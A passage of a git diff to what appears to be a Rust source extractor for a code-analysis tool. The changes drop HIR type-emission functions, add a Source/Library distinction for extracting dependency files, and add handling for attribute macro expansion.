Some(trap.emit(generated::TypeBoundList { - id: trap::TrapId::Star, - bounds, - })); - Some( - trap.emit(generated::ImplTraitTypeRepr { - id: trap::TrapId::Star, - type_bound_list, - }) - .into(), - ) - } - chalk_ir::TyKind::Dyn(dyn_ty) => { - let parameters = vec!["Self".to_owned()]; - assert_eq!(dyn_ty.bounds.binders.len(Interner), parameters.len(),); - let ty_vars = &push_ty_vars(ty_vars, parameters); - - let bounds = dyn_ty - .bounds - .skip_binders() - .iter(ra_ap_hir_ty::Interner) - .flat_map(|t| emit_hir_type_bound(db, trap, ty_vars, t)) - .collect(); - let type_bound_list = Some(trap.emit(generated::TypeBoundList { - id: trap::TrapId::Star, - bounds, - })); - Some( - trap.emit(generated::DynTraitTypeRepr { - id: trap::TrapId::Star, - type_bound_list, - }) - .into(), - ) - } - chalk_ir::TyKind::FnDef(fn_def_id, parameters) => { - let sig = ra_ap_hir_ty::CallableSig::from_def(db, *fn_def_id, parameters); - Some(emit_hir_fn_ptr(trap, db, ty_vars, &sig.to_fn_ptr()).into()) - } - - chalk_ir::TyKind::Alias(chalk_ir::AliasTy::Projection(ProjectionTy { - associated_ty_id, - substitution, - })) - | chalk_ir::TyKind::AssociatedType(associated_ty_id, substitution) => { - let pt = ProjectionTy { - associated_ty_id: *associated_ty_id, - substitution: substitution.clone(), - }; - - // >::Name<...> - - let qualifier = trap.emit(generated::PathSegment { - id: trap::TrapId::Star, - generic_arg_list: None, - identifier: None, - parenthesized_arg_list: None, - ret_type: None, - return_type_syntax: None, - }); - let self_ty = pt.self_type_parameter(db); - let self_ty = emit_hir_ty(trap, db, ty_vars, &self_ty); - if let Some(self_ty) = self_ty { - generated::PathSegment::emit_type_repr(qualifier, self_ty, &mut trap.writer) - } - let trait_ref = pt.trait_ref(db); - let trait_ref = trait_path(db, trap, ty_vars, &trait_ref); - let trait_ref = trait_ref.map(|path| { - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path: Some(path), - }) - }); - if let Some(trait_ref) = trait_ref { - generated::PathSegment::emit_trait_type_repr(qualifier, trait_ref, &mut trap.writer) - } - let data = db.type_alias_data(from_assoc_type_id(*associated_ty_id)); - - let identifier = Some(trap.emit(generated::NameRef { - id: trap::TrapId::Star, - text: Some(data.name.as_str().to_owned()), - })); - let segment = trap.emit(generated::PathSegment { - id: trap::TrapId::Star, - generic_arg_list: None, - identifier, - parenthesized_arg_list: None, - ret_type: None, - return_type_syntax: None, - }); - let qualifier = trap.emit(generated::Path { - id: trap::TrapId::Star, - qualifier: None, - segment: Some(qualifier), - }); - let path = trap.emit(generated::Path { - id: trap::TrapId::Star, - qualifier: Some(qualifier), - segment: Some(segment), - }); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path: Some(path), - }) - .into(), - ) - } - chalk_ir::TyKind::BoundVar(var) => { - let var_ = ty_vars - .get(ty_vars.len() - 1 - var.debruijn.depth() as usize) - .and_then(|ty_vars| ty_vars.get(var.index)); - let path = make_qualified_path( - trap, - vec![ - var_.unwrap_or(&format!("E_{}_{}", var.debruijn.depth(), var.index)) - .clone(), - ], - None, - ); - Some( - trap.emit(generated::PathTypeRepr { - id: trap::TrapId::Star, - path, - }) - .into(), - ) - } - chalk_ir::TyKind::Foreign(_) - | chalk_ir::TyKind::Closure(_, _) - | chalk_ir::TyKind::Coroutine(_, _) - | chalk_ir::TyKind::CoroutineWitness(_, _) - | chalk_ir::TyKind::InferenceVar(_, _) - | chalk_ir::TyKind::Error => { - debug!("Unexpected type {:#?}", ty.kind(ra_ap_hir_ty::Interner)); - None - } - } -} - -fn emit_generic_arg_list( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - args: &[GenericArg], -) -> Option> { - if args.is_empty() { - return None; - } - let generic_args = args - .iter() - .flat_map(|arg| { - if let Some(ty) = arg.ty(Interner) { - let type_repr = emit_hir_ty(trap, db, ty_vars, ty); - Some( - trap.emit(generated::TypeArg { - id: trap::TrapId::Star, - type_repr, - }) - .into(), - ) - } else if let Some(l) = arg.lifetime(Interner) { - let lifetime = emit_lifetime(trap, ty_vars, l); - Some( - trap.emit(generated::LifetimeArg { - id: trap::TrapId::Star, - lifetime: Some(lifetime), - }) - .into(), - ) - } else if arg.constant(Interner).is_some() { - Some( - trap.emit(generated::ConstArg { - id: trap::TrapId::Star, - expr: None, - }) - .into(), - ) - } else { - None - } - }) - .collect(); - - trap.emit(generated::GenericArgList { - id: trap::TrapId::Star, - generic_args, - }) - .into() -} - -fn emit_lifetime( - trap: &mut TrapFile, - ty_vars: &[Vec], - l: &chalk_ir::Lifetime, -) -> trap::Label { - let text = match l.data(Interner) { - chalk_ir::LifetimeData::BoundVar(var) => { - let var_ = ty_vars - .get(ty_vars.len() - 1 - var.debruijn.depth() as usize) - .and_then(|ty_vars| ty_vars.get(var.index)); - - Some(var_.map(|v| v.to_string()).unwrap_or(format!( - "'E_{}_{}", - var.debruijn.depth(), - var.index - ))) - } - chalk_ir::LifetimeData::Static => "'static'".to_owned().into(), - chalk_ir::LifetimeData::InferenceVar(_) - | chalk_ir::LifetimeData::Placeholder(_) - | chalk_ir::LifetimeData::Erased - | chalk_ir::LifetimeData::Phantom(_, _) - | chalk_ir::LifetimeData::Error => None, - }; - trap.emit(generated::Lifetime { - id: trap::TrapId::Star, - text, - }) -} - -enum Variant { - Unit, - Record(trap::Label), - Tuple(trap::Label), -} - -impl From for Option> { - fn from(val: Variant) -> Self { - match val { - Variant::Record(label) => Some(label), - Variant::Unit | Variant::Tuple(_) => None, - } - } -} - -impl From for Option> { - fn from(val: Variant) -> Self { - match val { - Variant::Record(label) => Some(label.into()), - Variant::Tuple(label) => Some(label.into()), - Variant::Unit => None, - } - } -} - -fn emit_variant_data( - trap: &mut TrapFile, - db: &dyn HirDatabase, - ty_vars: &[Vec], - variant_id: VariantId, -) -> Variant { - let parameters_len = ty_vars.last().map_or(0, Vec::len); - let variant = variant_id.variant_data(db.upcast()); - match variant.as_ref() { - VariantData::Record { - fields: field_data, - types_map: _, - } => { - let field_types = db.field_types(variant_id); - let fields = field_types - .iter() - .map(|(field_id, ty)| { - let name = Some(trap.emit(generated::Name { - id: trap::TrapId::Star, - text: Some(field_data[field_id].name.as_str().to_owned()), - })); - assert_eq!(ty.binders.len(Interner), parameters_len); - let type_repr = emit_hir_ty(trap, db, ty_vars, ty.skip_binders()); - let visibility = emit_visibility( - db, - trap, - field_data[field_id] - .visibility - .resolve(db.upcast(), &variant_id.resolver(db.upcast())), - ); - trap.emit(generated::StructField { - id: trap::TrapId::Star, - attrs: vec![], - is_unsafe: field_data[field_id].is_unsafe, - name, - type_repr, - visibility, - default: None, - }) - }) - .collect(); - Variant::Record(trap.emit(generated::StructFieldList { - id: trap::TrapId::Star, - fields, - })) - } - VariantData::Tuple { - fields: field_data, .. - } => { - let field_types = db.field_types(variant_id); - let fields = field_types - .iter() - .map(|(field_id, ty)| { - assert_eq!(ty.binders.len(Interner), parameters_len); - let type_repr = emit_hir_ty(trap, db, ty_vars, ty.skip_binders()); - let visibility = emit_visibility( - db, - trap, - field_data[field_id] - .visibility - .resolve(db.upcast(), &variant_id.resolver(db.upcast())), - ); - - trap.emit(generated::TupleField { - id: trap::TrapId::Star, - attrs: vec![], - type_repr, - visibility, - }) - }) - .collect(); - Variant::Tuple(trap.emit(generated::TupleFieldList { - id: trap::TrapId::Star, - fields, - })) - } - VariantData::Unit => Variant::Unit, - } -} - fn cmp_flag(a: &&CfgAtom, b: &&CfgAtom) -> Ordering { match (a, b) { (CfgAtom::Flag(a), CfgAtom::Flag(b)) => a.as_str().cmp(b.as_str()), diff --git a/rust/extractor/src/diagnostics.rs b/rust/extractor/src/diagnostics.rs index b0201e2aed75..0db3358d558a 100644 --- a/rust/extractor/src/diagnostics.rs +++ b/rust/extractor/src/diagnostics.rs @@ -1,4 +1,5 @@ use crate::config::Config; +use crate::translate::SourceKind; use anyhow::Context; use chrono::{DateTime, Utc}; use ra_ap_project_model::ProjectManifest; @@ -83,6 +84,8 @@ pub enum ExtractionStepKind { LoadSource, Parse, Extract, + ParseLibrary, + ExtractLibrary, CrateGraph, } @@ -113,18 +116,24 @@ impl ExtractionStep { ) } - pub fn parse(start: Instant, target: &Path) -> Self { + pub fn parse(start: Instant, source_kind: SourceKind, target: &Path) -> Self { Self::new( start, - ExtractionStepKind::Parse, + match source_kind { + SourceKind::Source => ExtractionStepKind::Parse, + SourceKind::Library => ExtractionStepKind::ParseLibrary, + }, Some(PathBuf::from(target)), ) } - pub fn extract(start: Instant, target: &Path) -> Self { + pub fn extract(start: Instant, source_kind: SourceKind, target: &Path) -> Self { Self::new( start, - ExtractionStepKind::Extract, + match source_kind { + SourceKind::Source => ExtractionStepKind::Extract, + SourceKind::Library => ExtractionStepKind::ExtractLibrary, + }, Some(PathBuf::from(target)), ) } diff --git a/rust/extractor/src/generated/.generated.list b/rust/extractor/src/generated/.generated.list index fdaed238b030..cb687e1bff00 100644 --- a/rust/extractor/src/generated/.generated.list +++ b/rust/extractor/src/generated/.generated.list @@ -1,2 +1,2 @@ mod.rs 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 4bcb9def847469aae9d8649461546b7c21ec97cf6e63d3cf394e339915ce65d7 -top.rs 47c9cc0e39e81a89bf62497e7b3e45c9cd585c425aaac7fc5d07113e8ef9861d 47c9cc0e39e81a89bf62497e7b3e45c9cd585c425aaac7fc5d07113e8ef9861d +top.rs 7f8a694078bc0cde1ce420544d0cf5b83bb297dd29ee4f9d7bcbb1572f0e815a 7f8a694078bc0cde1ce420544d0cf5b83bb297dd29ee4f9d7bcbb1572f0e815a diff --git a/rust/extractor/src/generated/top.rs b/rust/extractor/src/generated/top.rs index 91fe945df62a..6cece591734d 100644 --- a/rust/extractor/src/generated/top.rs +++ b/rust/extractor/src/generated/top.rs @@ -154,7 +154,6 @@ pub struct Crate { pub id: trap::TrapId, pub name: Option, pub version: Option, - pub module: Option>, pub cfg_options: Vec, pub named_dependencies: Vec>, } @@ -172,9 +171,6 @@ impl trap::TrapEntry for Crate { if let Some(v) = self.version { out.add_tuple("crate_versions", vec![id.into(), v.into()]); } - if let Some(v) = self.module { - out.add_tuple("crate_modules", vec![id.into(), v.into()]); - } for (i, v) in self.cfg_options.into_iter().enumerate() { out.add_tuple("crate_cfg_options", vec![id.into(), i.into(), v.into()]); } @@ -5764,6 +5760,12 @@ pub struct Item { _unused: () } +impl Item { + pub fn emit_attribute_macro_expansion(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { + out.add_tuple("item_attribute_macro_expansions", vec![id.into(), value.into()]); + } +} + impl trap::TrapClass for Item { fn class_name() -> &'static str { "Item" } } @@ -9775,8 +9777,8 @@ impl trap::TrapEntry for MacroCall { } impl MacroCall { - pub fn emit_expanded(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { - out.add_tuple("macro_call_expandeds", vec![id.into(), value.into()]); + pub fn emit_macro_call_expansion(id: trap::Label, value: trap::Label, out: &mut trap::Writer) { + out.add_tuple("macro_call_macro_call_expansions", vec![id.into(), value.into()]); } } diff --git a/rust/extractor/src/main.rs b/rust/extractor/src/main.rs index b983a3217a3a..bae83c99fbfc 100644 --- a/rust/extractor/src/main.rs +++ b/rust/extractor/src/main.rs @@ -1,9 +1,10 @@ use crate::diagnostics::{ExtractionStep, emit_extraction_diagnostics}; use crate::rust_analyzer::path_to_file_id; -use crate::translate::ResolvePaths; +use crate::translate::{ResolvePaths, SourceKind}; use crate::trap::TrapId; use anyhow::Context; use archive::Archiver; +use ra_ap_base_db::SourceDatabase; use ra_ap_hir::Semantics; use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; @@ -12,6 +13,8 @@ use ra_ap_paths::{AbsPathBuf, Utf8PathBuf}; use ra_ap_project_model::{CargoConfig, ProjectManifest}; use ra_ap_vfs::Vfs; use rust_analyzer::{ParseResult, RustAnalyzer}; +use std::collections::HashSet; +use std::hash::RandomState; use std::time::Instant; use std::{ collections::HashMap, @@ -47,9 +50,14 @@ impl<'a> Extractor<'a> { } } - fn extract(&mut self, rust_analyzer: &RustAnalyzer, file: &Path, resolve_paths: ResolvePaths) { + fn extract( + &mut self, + rust_analyzer: &RustAnalyzer, + file: &Path, + resolve_paths: ResolvePaths, + source_kind: SourceKind, + ) { self.archiver.archive(file); - let before_parse = Instant::now(); let ParseResult { ast, @@ -57,7 +65,8 @@ impl<'a> Extractor<'a> { errors, semantics_info, } = rust_analyzer.parse(file); - self.steps.push(ExtractionStep::parse(before_parse, file)); + self.steps + .push(ExtractionStep::parse(before_parse, source_kind, file)); let before_extract = Instant::now(); let line_index = LineIndex::new(text.as_ref()); @@ -71,6 +80,7 @@ impl<'a> Extractor<'a> { line_index, semantics_info.as_ref().ok(), resolve_paths, + source_kind, ); for err in errors { @@ -92,7 +102,7 @@ impl<'a> Extractor<'a> { ); } } - translator.emit_source_file(ast); + translator.emit_source_file(&ast); translator.trap.commit().unwrap_or_else(|err| { error!( "Failed to write trap file for: {}: {}", @@ -101,7 +111,7 @@ impl<'a> Extractor<'a> { ) }); self.steps - .push(ExtractionStep::extract(before_extract, file)); + .push(ExtractionStep::extract(before_extract, source_kind, file)); } pub fn extract_with_semantics( @@ -110,15 +120,27 @@ impl<'a> Extractor<'a> { semantics: &Semantics<'_, RootDatabase>, vfs: &Vfs, resolve_paths: ResolvePaths, + source_kind: SourceKind, ) { - self.extract(&RustAnalyzer::new(vfs, semantics), file, resolve_paths); + self.extract( + &RustAnalyzer::new(vfs, semantics), + file, + resolve_paths, + source_kind, + ); } - pub fn extract_without_semantics(&mut self, file: &Path, reason: &str) { + pub fn extract_without_semantics( + &mut self, + file: &Path, + source_kind: SourceKind, + reason: &str, + ) { self.extract( &RustAnalyzer::WithoutSemantics { reason }, file, ResolvePaths::No, + source_kind, ); } @@ -246,7 +268,7 @@ fn main() -> anyhow::Result<()> { continue 'outer; } } - extractor.extract_without_semantics(file, "no manifest found"); + extractor.extract_without_semantics(file, SourceKind::Source, "no manifest found"); } let cwd = cwd()?; let (cargo_config, load_cargo_config) = cfg.to_cargo_config(&cwd); @@ -255,6 +277,13 @@ fn main() -> anyhow::Result<()> { } else { ResolvePaths::Yes }; + let (library_mode, library_resolve_paths) = if cfg.extract_dependencies_as_source { + (SourceKind::Source, resolve_paths) + } else { + (SourceKind::Library, ResolvePaths::No) + }; + let mut processed_files: HashSet = + HashSet::from_iter(files.iter().cloned()); for (manifest, files) in map.values().filter(|(_, files)| !files.is_empty()) { if let Some((ref db, ref vfs)) = extractor.load_manifest(manifest, &cargo_config, &load_cargo_config) @@ -267,15 +296,45 @@ fn main() -> anyhow::Result<()> { let semantics = Semantics::new(db); for file in files { match extractor.load_source(file, &semantics, vfs) { - Ok(()) => { - extractor.extract_with_semantics(file, &semantics, vfs, resolve_paths) + Ok(()) => extractor.extract_with_semantics( + file, + &semantics, + vfs, + resolve_paths, + SourceKind::Source, + ), + Err(reason) => { + extractor.extract_without_semantics(file, SourceKind::Source, &reason) } - Err(reason) => extractor.extract_without_semantics(file, &reason), }; } + for (file_id, file) in vfs.iter() { + if let Some(file) = file.as_path().map(<_ as AsRef>::as_ref) { + if file.extension().is_some_and(|ext| ext == "rs") + && processed_files.insert(file.to_owned()) + && db + .source_root(db.file_source_root(file_id).source_root_id(db)) + .source_root(db) + .is_library + { + extractor.extract_with_semantics( + file, + &semantics, + vfs, + library_resolve_paths, + library_mode, + ); + extractor.archiver.archive(file); + } + } + } } else { for file in files { - extractor.extract_without_semantics(file, "unable to load manifest"); + extractor.extract_without_semantics( + file, + SourceKind::Source, + "unable to load manifest", + ); } } } @@ -286,7 +345,7 @@ fn main() -> anyhow::Result<()> { let entry = entry.context("failed to read builtins directory")?; let path = entry.path(); if path.extension().is_some_and(|ext| ext == "rs") { - extractor.extract_without_semantics(&path, ""); + extractor.extract_without_semantics(&path, SourceKind::Library, ""); } } diff --git a/rust/extractor/src/qltest.rs b/rust/extractor/src/qltest.rs index 316ecd0cee4b..de0c36df7845 100644 --- a/rust/extractor/src/qltest.rs +++ b/rust/extractor/src/qltest.rs @@ -54,6 +54,7 @@ path = "main.rs" fn set_sources(config: &mut Config) -> anyhow::Result<()> { let path_iterator = glob("**/*.rs").context("globbing test sources")?; config.inputs = path_iterator + .filter(|f| f.is_err() || !f.as_ref().unwrap().starts_with("target")) .collect::, _>>() .context("fetching test sources")?; Ok(()) diff --git a/rust/extractor/src/translate.rs b/rust/extractor/src/translate.rs index c74652628f8c..22bb3f4909f9 100644 --- a/rust/extractor/src/translate.rs +++ b/rust/extractor/src/translate.rs @@ -2,4 +2,4 @@ mod base; mod generated; mod mappings; -pub use base::{ResolvePaths, Translator}; +pub use base::{ResolvePaths, SourceKind, Translator}; diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 584d1d0be5cd..8d971900497e 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -11,64 +11,77 @@ use ra_ap_hir::{ }; use ra_ap_hir_def::ModuleId; use ra_ap_hir_def::type_ref::Mutability; -use ra_ap_hir_expand::ExpandTo; +use ra_ap_hir_expand::{ExpandResult, ExpandTo, InFile}; use ra_ap_ide_db::RootDatabase; use ra_ap_ide_db::line_index::{LineCol, LineIndex}; use ra_ap_parser::SyntaxKind; use ra_ap_span::TextSize; -use ra_ap_syntax::ast::HasName; +use ra_ap_syntax::ast::{Const, Fn, HasName, Param, Static}; use ra_ap_syntax::{ AstNode, NodeOrToken, SyntaxElementChildren, SyntaxError, SyntaxNode, SyntaxToken, TextRange, ast, }; #[macro_export] -macro_rules! emit_detached { +macro_rules! pre_emit { + (Item, $self:ident, $node:ident) => { + if let Some(label) = $self.prepare_item_expansion($node) { + return Some(label); + } + }; + ($($_:tt)*) => {}; +} + +#[macro_export] +macro_rules! post_emit { (MacroCall, $self:ident, $node:ident, $label:ident) => { - $self.extract_macro_call_expanded(&$node, $label); + $self.extract_macro_call_expanded($node, $label); }; (Function, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Trait, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Struct, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Enum, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Union, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Module, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin(&$node, $label.into()); + $self.extract_canonical_origin($node, $label.into()); }; (Variant, $self:ident, $node:ident, $label:ident) => { - $self.extract_canonical_origin_of_enum_variant(&$node, $label); + $self.extract_canonical_origin_of_enum_variant($node, $label); + }; + (Item, $self:ident, $node:ident, $label:ident) => { + $self.emit_item_expansion($node, $label); }; // TODO canonical origin of other items (PathExpr, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (StructExpr, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (PathPat, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (StructPat, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (TupleStructPat, $self:ident, $node:ident, $label:ident) => { - $self.extract_path_canonical_destination(&$node, $label.into()); + $self.extract_path_canonical_destination($node, $label.into()); }; (MethodCallExpr, $self:ident, $node:ident, $label:ident) => { - $self.extract_method_canonical_destination(&$node, $label); + $self.extract_method_canonical_destination($node, $label); }; (PathSegment, $self:ident, $node:ident, $label:ident) => { - $self.extract_types_from_path_segment(&$node, $label.into()); + $self.extract_types_from_path_segment($node, $label.into()); }; ($($_:tt)*) => {}; } @@ -90,6 +103,11 @@ pub enum ResolvePaths { Yes, No, } +#[derive(Copy, Clone, PartialEq, Eq)] +pub enum SourceKind { + Source, + Library, +} pub struct Translator<'a> { pub trap: TrapFile, @@ -98,7 +116,9 @@ pub struct Translator<'a> { line_index: LineIndex, file_id: Option, pub semantics: Option<&'a Semantics<'a, RootDatabase>>, - resolve_paths: ResolvePaths, + resolve_paths: bool, + source_kind: SourceKind, + macro_context_depth: usize, } const UNKNOWN_LOCATION: (LineCol, LineCol) = @@ -112,6 +132,7 @@ impl<'a> Translator<'a> { line_index: LineIndex, semantic_info: Option<&FileSemanticInformation<'a>>, resolve_paths: ResolvePaths, + source_kind: SourceKind, ) -> Translator<'a> { Translator { trap, @@ -120,7 +141,9 @@ impl<'a> Translator<'a> { line_index, file_id: semantic_info.map(|i| i.file_id), semantics: semantic_info.map(|i| i.semantics), - resolve_paths, + resolve_paths: resolve_paths == ResolvePaths::Yes, + source_kind, + macro_context_depth: 0, } } fn location(&self, range: TextRange) -> Option<(LineCol, LineCol)> { @@ -156,21 +179,23 @@ impl<'a> Translator<'a> { Some(node.syntax().text_range()) } } - pub fn emit_location(&mut self, label: Label, node: &impl ast::AstNode) { - if let Some((start, end)) = self - .text_range_for_node(node) + + fn location_for_node(&mut self, node: &impl ast::AstNode) -> Option<(LineCol, LineCol)> { + self.text_range_for_node(node) .and_then(|r| self.location(r)) - { - self.trap.emit_location(self.label, label, start, end) - } else { - self.emit_diagnostic( + } + + pub fn emit_location(&mut self, label: Label, node: &impl ast::AstNode) { + match self.location_for_node(node) { + None => self.emit_diagnostic( DiagnosticSeverity::Debug, "locations".to_owned(), "missing location for AstNode".to_owned(), "missing location for AstNode".to_owned(), UNKNOWN_LOCATION, - ); - } + ), + Some((start, end)) => self.trap.emit_location(self.label, label, start, end), + }; } pub fn emit_location_token( &mut self, @@ -197,6 +222,14 @@ impl<'a> Translator<'a> { full_message: String, location: (LineCol, LineCol), ) { + let severity = if self.source_kind == SourceKind::Library { + match severity { + DiagnosticSeverity::Error => DiagnosticSeverity::Info, + _ => DiagnosticSeverity::Debug, + } + } else { + severity + }; let (start, end) = location; dispatch_to_tracing!( severity, @@ -252,7 +285,11 @@ impl<'a> Translator<'a> { } } } - fn emit_macro_expansion_parse_errors(&mut self, mcall: &ast::MacroCall, expanded: &SyntaxNode) { + fn emit_macro_expansion_parse_errors( + &mut self, + node: &impl ast::AstNode, + expanded: &SyntaxNode, + ) { let semantics = self.semantics.as_ref().unwrap(); if let Some(value) = semantics .hir_file_for(expanded) @@ -266,7 +303,7 @@ impl<'a> Translator<'a> { if let Some(err) = &value.err { let error = err.render_to_string(semantics.db); - if err.span().anchor.file_id == semantics.hir_file_for(mcall.syntax()) { + if err.span().anchor.file_id == semantics.hir_file_for(node.syntax()) { let location = err.span().range + semantics .db @@ -274,11 +311,11 @@ impl<'a> Translator<'a> { .get_erased(err.span().anchor.ast_id) .text_range() .start(); - self.emit_parse_error(mcall, &SyntaxError::new(error.message, location)); + self.emit_parse_error(node, &SyntaxError::new(error.message, location)); }; } for err in value.value.iter() { - self.emit_parse_error(mcall, err); + self.emit_parse_error(node, err); } } } @@ -290,20 +327,20 @@ impl<'a> Translator<'a> { ) -> Option> { match expand_to { ra_ap_hir_expand::ExpandTo::Statements => ast::MacroStmts::cast(expanded) - .and_then(|x| self.emit_macro_stmts(x)) + .and_then(|x| self.emit_macro_stmts(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Items => ast::MacroItems::cast(expanded) - .and_then(|x| self.emit_macro_items(x)) + .and_then(|x| self.emit_macro_items(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Pattern => ast::Pat::cast(expanded) - .and_then(|x| self.emit_pat(x)) + .and_then(|x| self.emit_pat(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Type => ast::Type::cast(expanded) - .and_then(|x| self.emit_type(x)) + .and_then(|x| self.emit_type(&x)) .map(Into::into), ra_ap_hir_expand::ExpandTo::Expr => ast::Expr::cast(expanded) - .and_then(|x| self.emit_expr(x)) + .and_then(|x| self.emit_expr(&x)) .map(Into::into), } } @@ -312,6 +349,11 @@ impl<'a> Translator<'a> { mcall: &ast::MacroCall, label: Label, ) { + if self.macro_context_depth > 0 { + // we are in an attribute macro, don't emit anything: we would be failing to expand any + // way as from version 0.0.274 rust-analyser only expands in the context of an expansion + return; + } if let Some(expanded) = self .semantics .as_ref() @@ -321,7 +363,11 @@ impl<'a> Translator<'a> { let expand_to = ra_ap_hir_expand::ExpandTo::from_call_site(mcall); let kind = expanded.kind(); if let Some(value) = self.emit_expanded_as(expand_to, expanded) { - generated::MacroCall::emit_expanded(label, value, &mut self.trap.writer); + generated::MacroCall::emit_macro_call_expansion( + label, + value, + &mut self.trap.writer, + ); } else { let range = self.text_range_for_node(mcall); self.emit_parse_error(mcall, &SyntaxError::new( @@ -508,7 +554,7 @@ impl<'a> Translator<'a> { item: &T, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -531,7 +577,7 @@ impl<'a> Translator<'a> { item: &ast::Variant, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -554,7 +600,7 @@ impl<'a> Translator<'a> { item: &impl PathAst, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -577,7 +623,7 @@ impl<'a> Translator<'a> { item: &ast::MethodCallExpr, label: Label, ) { - if self.resolve_paths == ResolvePaths::No { + if !self.resolve_paths { return; } (|| { @@ -598,7 +644,7 @@ impl<'a> Translator<'a> { })(); } - pub(crate) fn should_be_excluded(&self, item: &impl ast::HasAttrs) -> bool { + pub(crate) fn should_be_excluded_attrs(&self, item: &impl ast::HasAttrs) -> bool { self.semantics.is_some_and(|sema| { item.attrs().any(|attr| { attr.as_simple_call().is_some_and(|(name, tokens)| { @@ -608,6 +654,48 @@ impl<'a> Translator<'a> { }) } + pub(crate) fn should_be_excluded(&self, item: &impl ast::AstNode) -> bool { + if self.source_kind == SourceKind::Library { + let syntax = item.syntax(); + if syntax + .parent() + .and_then(Fn::cast) + .and_then(|x| x.body()) + .is_some_and(|body| body.syntax() == syntax) + { + return true; + } + if syntax + .parent() + .and_then(Const::cast) + .and_then(|x| x.body()) + .is_some_and(|body| body.syntax() == syntax) + { + return true; + } + if syntax + .parent() + .and_then(Static::cast) + .and_then(|x| x.body()) + .is_some_and(|body| body.syntax() == syntax) + { + return true; + } + if syntax + .parent() + .and_then(Param::cast) + .and_then(|x| x.pat()) + .is_some_and(|pat| pat.syntax() == syntax) + { + return true; + } + if syntax.kind() == SyntaxKind::TOKEN_TREE { + return true; + } + } + false + } + pub(crate) fn extract_types_from_path_segment( &mut self, item: &ast::PathSegment, @@ -626,17 +714,89 @@ impl<'a> Translator<'a> { if let Some(t) = type_refs .next() .and_then(ast::Type::cast) - .and_then(|t| self.emit_type(t)) + .and_then(|t| self.emit_type(&t)) { generated::PathSegment::emit_type_repr(label, t, &mut self.trap.writer) } if let Some(t) = type_refs .next() .and_then(ast::PathType::cast) - .and_then(|t| self.emit_path_type(t)) + .and_then(|t| self.emit_path_type(&t)) { generated::PathSegment::emit_trait_type_repr(label, t, &mut self.trap.writer) } } } + + pub(crate) fn prepare_item_expansion( + &mut self, + node: &ast::Item, + ) -> Option> { + if self.source_kind == SourceKind::Library { + // if the item expands via an attribute macro, we want to only emit the expansion + if let Some(expanded) = self.emit_attribute_macro_expansion(node) { + // we wrap it in a dummy MacroCall to get a single Item label that can replace + // the original Item + let label = self.trap.emit(generated::MacroCall { + id: TrapId::Star, + attrs: vec![], + path: None, + token_tree: None, + }); + generated::MacroCall::emit_macro_call_expansion( + label, + expanded.into(), + &mut self.trap.writer, + ); + return Some(label.into()); + } + } + let semantics = self.semantics.as_ref()?; + let file = semantics.hir_file_for(node.syntax()); + let node = InFile::new(file, node); + if semantics.is_attr_macro_call(node) { + self.macro_context_depth += 1; + } + None + } + + fn emit_attribute_macro_expansion( + &mut self, + node: &ast::Item, + ) -> Option> { + let semantics = self.semantics?; + let file = semantics.hir_file_for(node.syntax()); + let infile_node = InFile::new(file, node); + if !semantics.is_attr_macro_call(infile_node) { + return None; + } + self.macro_context_depth -= 1; + if self.macro_context_depth > 0 { + // only expand the outermost attribute macro + return None; + } + let ExpandResult { + value: expanded, .. + } = semantics.expand_attr_macro(node)?; + self.emit_macro_expansion_parse_errors(node, &expanded); + let macro_items = ast::MacroItems::cast(expanded).or_else(|| { + let message = "attribute macro expansion cannot be cast to MacroItems".to_owned(); + let location = self.location_for_node(node); + self.emit_diagnostic( + DiagnosticSeverity::Warning, + "item_expansion".to_owned(), + message.clone(), + message, + location.unwrap_or(UNKNOWN_LOCATION), + ); + None + })?; + self.emit_macro_items(¯o_items) + } + + pub(crate) fn emit_item_expansion(&mut self, node: &ast::Item, label: Label) { + if let Some(expanded) = self.emit_attribute_macro_expansion(node) { + generated::Item::emit_attribute_macro_expansion(label, expanded, &mut self.trap.writer); + } + } } diff --git a/rust/extractor/src/translate/generated.rs b/rust/extractor/src/translate/generated.rs index 8628b3e30f3f..cd0c2f9a9d96 100644 --- a/rust/extractor/src/translate/generated.rs +++ b/rust/extractor/src/translate/generated.rs @@ -1,54 +1,70 @@ //! Generated by `ast-generator`, do not edit by hand. - 